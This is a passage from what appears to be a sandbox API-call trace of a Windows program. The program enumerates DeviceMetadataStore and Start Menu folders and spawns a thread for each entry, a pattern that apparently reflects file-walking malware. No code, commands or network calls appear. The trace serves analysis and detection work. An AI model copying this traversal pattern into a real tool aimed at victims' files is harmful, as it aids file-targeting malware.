nFileSizeLow=0x3736, dwReserved0=0x0, dwReserved1=0x0, cFileName="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", cAlternateFileName="")) returned 1 [0140.420] wcscmp (_String1="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", _String2=".") returned 1 [0140.420] wcscmp (_String1="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", _String2="..") returned 1 [0140.420] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0x903bd0 [0140.420] wcscpy (in: _Dest=0x903bd0, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0140.420] wcscat (in: _Dest=0x903bd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0140.420] wcscat (in: _Dest=0x903bd0, _Source="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" [0141.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x903bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0141.367] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 1 [0141.367] wcscmp (_String1="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", _String2=".") returned 1 [0141.367] wcscmp (_String1="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", _String2="..") returned 1 [0141.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0x8fa890 [0141.367] wcscpy (in: _Dest=0x8fa890, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0141.367] wcscat (in: _Dest=0x8fa890, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0141.367] wcscat (in: _Dest=0x8fa890, _Source="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" [0141.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fa890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0141.370] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 0 [0141.370] FindClose (in: hFindFile=0x8da0d0 | out: hFindFile=0x8da0d0) returned 1 [0141.370] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9072a8) returned 1 [0141.370] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f74e8) returned 1 [0141.370] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfe80) returned 1 Thread: id = 1811 os_tid = 0x9ec [0140.422] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8e90 [0140.422] wcscpy (in: _Dest=0x8e8e90, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0140.422] wcscat (in: _Dest=0x8e8e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0140.422] wcscat (in: _Dest=0x8e8e90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0140.422] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9200a0 [0140.422] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.422] wcscmp (_String1=".", _String2=".") returned 0 [0140.422] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.422] wcscmp (_String1="..", _String2=".") returned 1 [0140.422] wcscmp (_String1="..", _String2="..") returned 0 [0140.422] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0140.422] wcscmp (_String1="Accessories", _String2=".") returned 1 [0140.422] wcscmp (_String1="Accessories", _String2="..") returned 1 [0140.422] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6878 [0140.422] wcscpy (in: _Dest=0x8e6878, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0140.422] wcscat (in: _Dest=0x8e6878, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0140.422] wcscat (in: _Dest=0x8e6878, _Source="Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0141.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e6878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0141.293] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0141.293] wcscmp (_String1="Administrative Tools", _String2=".") returned 1 [0141.293] wcscmp (_String1="Administrative Tools", _String2="..") returned 1 [0141.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x8fd5b0 [0141.294] wcscpy (in: _Dest=0x8fd5b0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.294] wcscat (in: _Dest=0x8fd5b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.294] wcscat (in: _Dest=0x8fd5b0, _Source="Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0141.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fd5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0141.295] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0141.295] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0141.295] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0141.295] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0141.295] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0141.295] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0141.295] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0141.295] wcscmp (_String1="Games", _String2=".") returned 1 [0141.295] wcscmp (_String1="Games", _String2="..") returned 1 [0141.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99ce88 [0141.295] wcscpy (in: _Dest=0x99ce88, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.295] wcscat (in: _Dest=0x99ce88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.295] wcscat (in: _Dest=0x99ce88, _Source="Games" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0141.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99ce88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0141.296] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0141.296] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0141.297] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0141.297] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0141.297] wcscmp (_String1="Java", _String2=".") returned 1 [0141.297] wcscmp (_String1="Java", _String2="..") returned 1 [0141.297] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99cf08 [0141.297] wcscpy (in: _Dest=0x99cf08, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.297] wcscat (in: _Dest=0x99cf08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.297] wcscat (in: _Dest=0x99cf08, _Source="Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0141.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99cf08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0141.298] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0141.298] wcscmp (_String1="Maintenance", _String2=".") returned 1 [0141.298] wcscmp (_String1="Maintenance", _String2="..") returned 1 [0141.298] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6758 [0141.298] wcscpy (in: _Dest=0x8e6758, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.298] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.298] wcscat (in: _Dest=0x8e6758, _Source="Maintenance" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0141.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e6758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0141.300] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0141.300] wcscmp (_String1="Media Center.lnk", _String2=".") returned 1 [0141.300] wcscmp (_String1="Media Center.lnk", _String2="..") returned 1 [0141.300] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0141.300] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0141.300] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0141.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x8fad10 [0141.300] wcscpy (in: _Dest=0x8fad10, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.300] wcscat (in: _Dest=0x8fad10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.300] wcscat (in: _Dest=0x8fad10, _Source="Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0141.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0141.301] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0141.301] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0141.301] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0141.301] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0141.301] wcscmp (_String1="SharePoint", _String2=".") returned 1 [0141.301] wcscmp (_String1="SharePoint", _String2="..") returned 1 [0141.301] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7708 [0141.302] wcscpy (in: _Dest=0x8f7708, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.302] wcscat (in: _Dest=0x8f7708, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.302] wcscat (in: _Dest=0x8f7708, _Source="SharePoint" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0141.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0141.303] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0141.303] wcscmp (_String1="Sidebar.lnk", _String2=".") returned 1 [0141.303] wcscmp (_String1="Sidebar.lnk", _String2="..") returned 1 [0141.303] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0141.303] wcscmp (_String1="Startup", _String2=".") returned 1 [0141.303] wcscmp (_String1="Startup", _String2="..") returned 1 [0141.303] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7790 [0141.303] wcscpy (in: _Dest=0x8f7790, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.303] wcscat (in: _Dest=0x8f7790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.303] wcscat (in: _Dest=0x8f7790, _Source="Startup" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0141.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0141.304] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0141.304] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0141.304] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0141.304] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7818 [0141.304] wcscpy (in: _Dest=0x8f7818, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0141.304] wcscat (in: _Dest=0x8f7818, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0141.304] wcscat (in: _Dest=0x8f7818, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0141.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0141.305] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0141.305] wcscmp 